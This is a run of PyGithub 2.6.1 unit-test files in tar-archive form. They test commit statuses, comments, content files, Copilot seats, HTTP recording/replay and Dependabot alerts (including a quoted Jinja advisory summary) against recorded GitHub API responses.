Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime, timezone from . import Framework class CommitCombinedStatus(Framework.TestCase): def setUp(self): super().setUp() self.combined_status = ( self.g.get_repo("edx/edx-platform", lazy=True) .get_commit("74e70119a23fa3ffb3db19d4590eccfebd72b659") .get_combined_status() ) def testAttributes(self): self.assertEqual(self.combined_status.state, "success") self.assertEqual( self.combined_status.statuses[0].url, "https://api.github.com/repos/edx/edx-platform/statuses/74e70119a23fa3ffb3db19d4590eccfebd72b659", ) self.assertEqual(self.combined_status.statuses[1].id, 390603044) self.assertEqual(self.combined_status.statuses[2].state, "success") self.assertEqual(self.combined_status.statuses[3].description, "Build finished.") self.assertEqual( self.combined_status.statuses[4].target_url, "https://build.testeng.edx.org/job/edx-platform-python-unittests-pr/10504/", ) self.assertEqual( self.combined_status.statuses[4].created_at, datetime(2015, 12, 14, 13, 24, 18, tzinfo=timezone.utc), ) self.assertEqual( self.combined_status.statuses[3].updated_at, datetime(2015, 12, 14, 13, 23, 35, tzinfo=timezone.utc), ) self.assertEqual(self.combined_status.sha, "74e70119a23fa3ffb3db19d4590eccfebd72b659") self.assertEqual(self.combined_status.total_count, 6) self.assertEqual(self.combined_status.repository.id, 10391073) self.assertEqual(self.combined_status.repository.full_name, "edx/edx-platform") self.assertEqual( self.combined_status.commit_url, "https://api.github.com/repos/edx/edx-platform/commits/74e70119a23fa3ffb3db19d4590eccfebd72b659", ) self.assertEqual( self.combined_status.url, "https://api.github.com/repos/edx/edx-platform/commits/74e70119a23fa3ffb3db19d4590eccfebd72b659/status", ) self.assertEqual( repr(self.combined_status), 'CommitCombinedStatus(state="success", sha="74e70119a23fa3ffb3db19d4590eccfebd72b659")', ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/CommitComment.py0000644000175100001660000001260514756101563017261 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Nicolas Agustín Torres # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Huan-Cheng Chang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from . import Framework class CommitComment(Framework.TestCase): def setUp(self): super().setUp() self.comment = self.g.get_repo("PyGithub/PyGithub").get_comment(1362000) def testAttributes(self): self.assertEqual(self.comment.author_association, "MEMBER") self.assertEqual(self.comment.body, "Comment created by PyGithub\n") self.assertEqual(self.comment.commit_id, "6945921c529be14c3a8f566dd1e483674516d46d") self.assertEqual(self.comment.created_at, datetime(2012, 5, 22, 18, 49, 34, tzinfo=timezone.utc)) self.assertEqual( self.comment.html_url, "https://github.com/PyGithub/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362000", ) self.assertEqual(self.comment.id, 1362000) self.assertEqual(self.comment.line, 26) self.assertEqual(self.comment.node_id, "MDEzOkNvbW1pdENvbW1lbnQxMzYyMDAw") self.assertEqual(self.comment.path, "codegen/templates/GithubObject.MethodBody.UseResult.py") self.assertEqual(self.comment.position, None) self.assertEqual( self.comment.reactions, { "url": "https://api.github.com/repos/PyGithub/PyGithub/comments/1362000/reactions", "total_count": 2, "+1": 1, "-1": 0, "laugh": 0, "hooray": 1, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0, }, ) self.assertEqual(self.comment.updated_at, datetime(2012, 5, 22, 18, 49, 34, tzinfo=timezone.utc)) self.assertEqual(self.comment.url, "https://api.github.com/repos/PyGithub/PyGithub/comments/1362000") self.assertEqual(self.comment.user.login, "jacquev6") self.assertEqual(repr(self.comment), 'CommitComment(user=NamedUser(login="jacquev6"), id=1362000)') def testEdit(self): self.comment.edit("Comment edited by PyGithub") def testDelete(self): self.comment.delete() def testGetReactions(self): reactions = self.comment.get_reactions() self.assertEqual(reactions[0].content, "+1") def testCreateReaction(self): reaction = self.comment.create_reaction("hooray") self.assertEqual(reaction.id, 17283092) self.assertEqual(reaction.content, "hooray") def testDeleteReaction(self): self.assertTrue(self.comment.delete_reaction(85737646)) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/CommitStatus.py0000644000175100001660000001174314756101563017144 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Martijn Koster # # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Kian-Meng Ang # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from . import Framework class CommitStatus(Framework.TestCase): def setUp(self): super().setUp() self.statuses = list( self.g.get_user().get_repo("PyGithub").get_commit("1292bf0e22c796e91cc3d6e24b544aece8c21f2a").get_statuses() ) self.status = self.statuses[0] def testAttributes(self): self.assertIsNone(self.status.avatar_url) self.assertEqual(self.status.context, "build") self.assertEqual( self.status.created_at, datetime(2012, 9, 8, 11, 30, 56, tzinfo=timezone.utc), ) self.assertEqual(self.status.creator.login, "jacquev6") self.assertEqual(self.status.description, "Status successfully created by PyGithub") self.assertEqual(self.status.id, 277040) self.assertIsNone(self.status.node_id) self.assertEqual(self.status.state, "success") self.assertEqual(self.status.target_url, "https://github.com/jacquev6/PyGithub/issues/67") self.assertEqual( self.status.updated_at, datetime(2012, 9, 8, 11, 30, 56, tzinfo=timezone.utc), ) self.assertEqual(self.status.creator.login, "jacquev6") self.assertEqual(self.status.description, "Status successfully created by PyGithub") self.assertEqual(self.statuses[1].description, None) self.assertEqual(self.status.id, 277040) self.assertEqual(self.status.state, "success") self.assertEqual(self.statuses[1].state, "pending") self.assertEqual(self.status.context, "build") self.assertEqual( self.status.target_url, "https://github.com/jacquev6/PyGithub/issues/67", ) self.assertEqual(self.statuses[1].target_url, None) self.assertEqual( repr(self.status), 'CommitStatus(state="success", id=277040, context="build")', ) self.assertEqual(self.status.url, "https://api.github.com/repos/jacquev6/PyGithub/statuses/277040") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ConditionalRequestUpdate.py0000644000175100001660000000671514756101563021472 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2015 Uriel Corfa # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Enrico Minack # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class ConditionalRequestUpdate(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_repo("akfish/PyGithub") def testDidNotUpdate(self): self.assertFalse(self.repo.update(), msg="The repo is not changed. But update() != False") def testDidUpdate(self): self.assertTrue( self.repo.update(), msg="The repo should be changed by now. But update() != True", ) def testUpdateObjectWithoutEtag(self): r = self.g.get_repo("jacquev6/PyGithub") self.assertTrue(r.update()) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Connection.py0000644000175100001660000001264214756101563016606 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2019 Adam Baratz # # Copyright 2019 Wan Liuyang # # Copyright 2020 Liuyang Wan # # Copyright 2020 Michał Górny # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # Copyright 2025 Maja Massarini <2678400+majamassarini@users.noreply.github.com># # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import itertools from io import StringIO from unittest.mock import Mock import pytest import responses from . import Framework PARAMETERS = itertools.product( [ (Framework.ReplayingHttpConnection, "http"), (Framework.ReplayingHttpsConnection, "https"), ], [ ( '{"body":"BODY TEXT"}', "\nGET\napi.github.com\nNone\n/user\n{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\nNone\n200\n[]\n{\"body\":\"BODY TEXT\"}\n\n", ), ( '{"body":"BODY\xa0TEXT"}', "\nGET\napi.github.com\nNone\n/user\n{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\nNone\n200\n[]\n{\"body\":\"BODY\xa0TEXT\"}\n\n", ), ( "BODY TEXT", "\nGET\napi.github.com\nNone\n/user\n{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\nNone\n200\n[]\nBODY TEXT\n\n", ), ( "BODY\xa0TEXT", "\nGET\napi.github.com\nNone\n/user\n{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\nNone\n200\n[]\nBODY\xa0TEXT\n\n", ), ], ) class RecordingMockConnection(Framework.RecordingConnection): def __init__(self, protocol, host, port, realConnection): self._realConnection = realConnection super().__init__(protocol, host, port) @pytest.mark.parametrize( ("replaying_connection_class", "protocol", "response_body", "expected_recording"), list(tuple(itertools.chain(*p)) for p in PARAMETERS), ) @responses.activate def testRecordAndReplay(replaying_connection_class, protocol, response_body, expected_recording): file = StringIO() host = "api.github.com" verb = "GET" url = "/user" headers = {"Authorization": "Basic p4ssw0rd", "User-Agent": "PyGithub/Python"} response = Mock() response.status = 200 response.getheaders.return_value = {} response.read.return_value = response_body connection = Mock() connection.getresponse.return_value = response # write mock response to buffer RecordingMockConnection.setOpenFile(lambda slf, mode: file) recording_connection = RecordingMockConnection(protocol, host, None, lambda *args, **kwds: connection) recording_connection.request(verb, url, None, headers) recording_connection.getresponse() recording_connection.close() # validate contents of buffer file_value_lines = file.getvalue().split("\n") expected_recording_lines = (protocol + expected_recording).split("\n") assert file_value_lines[:5] == expected_recording_lines[:5] assert eval(file_value_lines[5]) == eval(expected_recording_lines[5]) # dict literal, so keys not in guaranteed order assert file_value_lines[6:] == expected_recording_lines[6:] # rewind buffer and attempt to replay response from it file.seek(0) replaying_connection_class.setOpenFile(lambda slf, mode: file) replaying_connection = replaying_connection_class(host=host, port=None) replaying_connection.request(verb, url, None, headers) replaying_connection.getresponse() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ContentFile.py0000644000175100001660000001272614756101563016724 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from . import Framework class ContentFile(Framework.TestCase): def setUp(self): super().setUp() self.file = self.g.get_repo("PyGithub/PyGithub").get_readme() def testAttributes(self): self.assertEqual( self.file._links, { "self": "https://api.github.com/repos/PyGithub/PyGithub/contents/README.md?ref=main", "git": "https://api.github.com/repos/PyGithub/PyGithub/git/blobs/0d9df5bfb7d4b93443c130bc8f4eea5dd3f01205", "html": "https://github.com/PyGithub/PyGithub/blob/main/README.md", }, ) self.assertIsNone(self.file.commit) self.assertTrue(self.file.content.startswith("IyBQeUdpdEh1YgoKWyFbUHlQSV0oaHR0cHM6Ly9p")) self.assertEqual(self.file.download_url, "https://raw.githubusercontent.com/PyGithub/PyGithub/main/README.md") self.assertEqual(self.file.encoding, "base64") self.assertIsNone(self.file.file_size) self.assertEqual( self.file.git_url, "https://api.github.com/repos/PyGithub/PyGithub/git/blobs/0d9df5bfb7d4b93443c130bc8f4eea5dd3f01205", ) self.assertEqual(self.file.html_url, "https://github.com/PyGithub/PyGithub/blob/main/README.md") self.assertIsNone(self.file.language) self.assertIsNone(self.file.last_modified_at) self.assertIsNone(self.file.license) self.assertIsNone(self.file.line_numbers) self.assertEqual(self.file.name, "README.md") self.assertEqual(self.file.path, "README.md") self.assertEqual(self.file.score, None) self.assertEqual(self.file.sha, "0d9df5bfb7d4b93443c130bc8f4eea5dd3f01205") self.assertEqual(self.file.size, 2524) self.assertIsNone(self.file.submodule_git_url) self.assertIsNone(self.file.target) self.assertIsNone(self.file.text_matches) self.assertEqual(self.file.type, "file") self.assertEqual(self.file.encoding, "base64") self.assertEqual(self.file.size, 2524) self.assertEqual(self.file.name, "README.md") self.assertEqual(self.file.path, "README.md") self.assertEqual(len(self.file.content), 3425) self.assertEqual(len(self.file.decoded_content), 2524) self.assertEqual(self.file.sha, "0d9df5bfb7d4b93443c130bc8f4eea5dd3f01205") self.assertEqual(self.file.download_url, "https://raw.githubusercontent.com/PyGithub/PyGithub/main/README.md") self.assertIsNone(self.file.license) self.assertEqual(repr(self.file), 'ContentFile(path="README.md")') self.assertEqual(self.file.url, "https://api.github.com/repos/PyGithub/PyGithub/contents/README.md?ref=main") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Copilot.py0000644000175100001660000001032214756101563016111 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2024 Pasha Fateev # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime, timezone from . import Framework class Copilot(Framework.TestCase): def setUp(self): super().setUp() self.org_name = "BeaverSoftware" self.copilot = self.g.get_organization(self.org_name).get_copilot() def testAttributes(self): self.assertEqual(self.copilot.org_name, "BeaverSoftware") self.assertEqual(repr(self.copilot), 'Copilot(org_name="BeaverSoftware")') seats = list(self.copilot.get_seats()) self.assertEqual(len(seats), 1) seat = seats[0] self.assertEqual(seat.created_at, datetime(2010, 7, 9, 6, 10, 6, tzinfo=timezone.utc)) self.assertEqual(seat.updated_at, datetime(2012, 5, 26, 11, 25, 48, tzinfo=timezone.utc)) self.assertEqual(seat.pending_cancellation_date, None) self.assertEqual(seat.last_activity_at, datetime(2012, 5, 26, 14, 59, 39, tzinfo=timezone.utc)) self.assertEqual(seat.last_activity_editor, "vscode/1.0.0") self.assertEqual(seat.plan_type, "business") self.assertEqual(seat.assignee.login, "pashafateev") self.assertEqual(repr(seat), 'CopilotSeat(assignee=NamedUser(login="pashafateev"))') def testGetSeats(self): seats = self.copilot.get_seats() self.assertListKeyEqual(seats, lambda s: s.assignee.login, ["pashafateev"]) def testAddSeats(self): seats_created = self.copilot.add_seats(["pashafateev"]) self.assertEqual(seats_created, 1) def testRemoveSeats(self): seats_cancelled = self.copilot.remove_seats(["pashafateev"]) self.assertEqual(seats_cancelled, 1) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/DependabotAlert.py0000644000175100001660000003141714756101563017545 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2024 Enrico Minack # # Copyright 2024 Thomas Cooper # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone import pytest import github.DependabotAlert import github.PaginatedList from . import Framework class DependabotAlert(Framework.TestCase): alert: github.DependabotAlert.DependabotAlert def setUp(self): super().setUp() self.repo = self.g.get_repo("coopernetes/PyGithub") def testAttributes(self): alert = self.repo.get_dependabot_alert(1) self.assertIsNone(alert.auto_dismissed_at) self.assertEqual(alert.created_at, datetime(2024, 1, 20, 17, 12, 38, tzinfo=timezone.utc)) self.assertEqual(alert.dependency.package.name, "jinja2") self.assertEqual(alert.dismissed_at, datetime(2024, 1, 21, 3, 35, 38, tzinfo=timezone.utc)) self.assertEqual(alert.dismissed_by.login, "coopernetes") self.assertEqual(alert.dismissed_reason, "tolerable_risk") self.assertEqual(alert.dismissed_comment, "Example comment") self.assertIsNone(alert.fixed_at) self.assertEqual(alert.html_url, "https://github.com/coopernetes/PyGithub/security/dependabot/1") self.assertEqual(alert.number, 1) self.assertEqual(alert.security_advisory.ghsa_id, "GHSA-h5c8-rqwp-cp95") self.assertEqual(alert.security_vulnerability.package.name, "jinja2") self.assertEqual(alert.state, "dismissed") self.assertEqual(alert.dependency.package.ecosystem, "pip") self.assertEqual(alert.dependency.package.name, "jinja2") self.assertEqual(alert.dependency.manifest_path, "requirements/docs.txt") self.assertEqual(alert.dependency.scope, "runtime") self.assertEqual(alert.security_advisory.ghsa_id, "GHSA-h5c8-rqwp-cp95") self.assertEqual(alert.security_advisory.cve_id, "CVE-2024-22195") self.assertEqual( alert.security_advisory.summary, "Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter", ) self.assertEqual( alert.security_advisory.description, "The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.", ) self.assertEqual(alert.security_advisory.severity, "medium") self.assertEqual(alert.security_advisory.identifiers[0]["value"], "GHSA-h5c8-rqwp-cp95") self.assertEqual(alert.security_advisory.identifiers[0]["type"], "GHSA") self.assertEqual(alert.security_advisory.identifiers[1]["value"], "CVE-2024-22195") self.assertEqual(alert.security_advisory.identifiers[1]["type"], "CVE") self.assertEqual( alert.security_advisory.references[0]["url"], "https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95", ) self.assertEqual( alert.security_advisory.references[1]["url"], "https://nvd.nist.gov/vuln/detail/CVE-2024-22195" ) self.assertEqual( alert.security_advisory.references[2]["url"], "https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7", ) self.assertEqual( alert.security_advisory.references[3]["url"], "https://github.com/pallets/jinja/releases/tag/3.1.3" ) self.assertEqual( alert.security_advisory.references[4]["url"], "https://github.com/advisories/GHSA-h5c8-rqwp-cp95" ) self.assertEqual(alert.security_advisory.published_at, datetime(2024, 1, 11, 15, 20, 48, tzinfo=timezone.utc)) self.assertEqual(alert.security_advisory.updated_at, datetime(2024, 1, 11, 15, 20, 50, tzinfo=timezone.utc)) self.assertEqual(alert.security_advisory.withdrawn_at, None) self.assertEqual(alert.security_advisory.vulnerabilities[0].package.ecosystem, "pip") self.assertEqual(alert.security_advisory.vulnerabilities[0].package.name, "jinja2") self.assertEqual(alert.security_advisory.vulnerabilities[0].vulnerable_version_range, "< 3.1.3") self.assertEqual(alert.security_advisory.vulnerabilities[0].severity, "medium") self.assertEqual(alert.security_advisory.vulnerabilities[0].first_patched_version["identifier"], "3.1.3") self.assertEqual(alert.security_vulnerability.package.ecosystem, "pip") self.assertEqual(alert.security_vulnerability.package.name, "jinja2") self.assertEqual(alert.security_vulnerability.vulnerable_version_range, "< 3.1.3") self.assertEqual(alert.security_vulnerability.severity, "medium") self.assertEqual(alert.security_vulnerability.first_patched_version["identifier"], "3.1.3") self.assertEqual(alert.updated_at, datetime(2024, 1, 21, 3, 35, 38, tzinfo=timezone.utc)) self.assertEqual(alert.url, "https://api.github.com/repos/coopernetes/PyGithub/dependabot/alerts/1") self.assertEqual(alert.html_url, "https://github.com/coopernetes/PyGithub/security/dependabot/1") def testMultipleAlerts(self): multiple_alerts = self.repo.get_dependabot_alerts() self.assertIsInstance(multiple_alerts, github.PaginatedList.PaginatedList) self.assertIsInstance(multiple_alerts[0], github.DependabotAlert.DependabotAlert) alert_list = [alert for alert in multiple_alerts] test_alert = alert_list[0] self.assertEqual(len(alert_list), 1) # Everything below is the same as testAttributes. This is just to make sure the list works. self.assertEqual(test_alert.number, 1) self.assertEqual(test_alert.state, "dismissed") self.assertEqual(test_alert.dependency.package.ecosystem, "pip") self.assertEqual(test_alert.dependency.package.name, "jinja2") self.assertEqual(test_alert.dependency.manifest_path, "requirements/docs.txt") self.assertEqual(test_alert.dependency.scope, "runtime") self.assertEqual(test_alert.security_advisory.ghsa_id, "GHSA-h5c8-rqwp-cp95") self.assertEqual(test_alert.security_advisory.cve_id, "CVE-2024-22195") self.assertEqual( test_alert.security_advisory.summary, "Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter", ) self.assertEqual( test_alert.security_advisory.description, "The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.", ) self.assertEqual(test_alert.security_advisory.severity, "medium") self.assertEqual(test_alert.security_advisory.identifiers[0]["value"], "GHSA-h5c8-rqwp-cp95") self.assertEqual(test_alert.security_advisory.identifiers[0]["type"], "GHSA") self.assertEqual(test_alert.security_advisory.identifiers[1]["value"], "CVE-2024-22195") self.assertEqual(test_alert.security_advisory.identifiers[1]["type"], "CVE") self.assertEqual( test_alert.security_advisory.published_at, datetime(2024, 1, 11, 15, 20, 48, tzinfo=timezone.utc) ) self.assertEqual( test_alert.security_advisory.updated_at, datetime(2024, 1, 11, 15, 20, 50, tzinfo=timezone.utc) ) self.assertEqual(test_alert.security_advisory.withdrawn_at, None) self.assertEqual(test_alert.security_advisory.vulnerabilities[0].package.ecosystem, "pip") self.assertEqual(test_alert.security_advisory.vulnerabilities[0].package.name, "jinja2") self.assertEqual(test_alert.security_advisory.vulnerabilities[0].vulnerable_version_range, "< 3.1.3") self.assertEqual(test_alert.security_advisory.vulnerabilities[0].severity, "medium") self.assertEqual(test_alert.security_advisory.vulnerabilities[0].first_patched_version["identifier"], "3.1.3") self.assertEqual(test_alert.security_vulnerability.package.ecosystem, "pip") self.assertEqual(test_alert.security_vulnerability.package.name, "jinja2") self.assertEqual(test_alert.security_vulnerability.vulnerable_version_range, "< 3.1.3") self.assertEqual(test_alert.security_vulnerability.severity, "medium") self.assertEqual(test_alert.security_vulnerability.first_patched_version["identifier"], "3.1.3") self.assertEqual(test_alert.url, "https://api.github.com/repos/coopernetes/PyGithub/dependabot/alerts/1") self.assertEqual(test_alert.html_url, "https://github.com/coopernetes/PyGithub/security/dependabot/1") self.assertEqual(test_alert.created_at, datetime(2024, 1, 20, 17, 12, 38, tzinfo=timezone.utc)) self.assertEqual(test_alert.updated_at, datetime(2024, 1, 20, 22, 4, tzinfo=timezone.utc)) self.assertEqual(test_alert.dismissed_at, datetime(2024, 1, 20, 22, 4, tzinfo=timezone.utc)) self.assertEqual(test_alert.dismissed_by.login, "coopernetes") self.assertEqual(test_alert.dismissed_reason, "tolerable_risk") self.assertEqual(test_alert.dismissed_comment, "Example comment") self.assertEqual(test_alert.fixed_at, None) def testRepr(self): alert = self.repo.get_dependabot_alert(1) self.assertEqual(repr(alert), 'DependabotAlert(number=1, ghsa_id="GHSA-h5c8-rqwp-cp95")') def testGetAlertsWithAllArguments(self): alerts = self.repo.get_dependabot_alerts( "open", "medium", "pip", "foo,jinja2", "bar/package.json,requirements/docs.txt", "runtime", "created", "asc" ) self.assertEqual(len(list(alerts)), 1) def testUpdateAlertDismissedWithoutReason(self): with pytest.raises(AssertionError): self.repo.update_dependabot_alert(1, "dismissed") def testUpdateAlertOpen(self): alert = self.repo.update_dependabot_alert(1, "open") self.assertEqual(alert.state, "open") self.assertEqual(alert.dismissed_reason, None) self.assertEqual(alert.dismissed_comment, None) def testUpdateAlertDismissed(self): alert = self.repo.update_dependabot_alert(1, "dismissed", "tolerable_risk", "Example comment") self.assertEqual(alert.state, "dismissed") self.assertEqual(alert.dismissed_reason, "tolerable_risk") self.assertEqual(alert.dismissed_comment, "Example comment") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 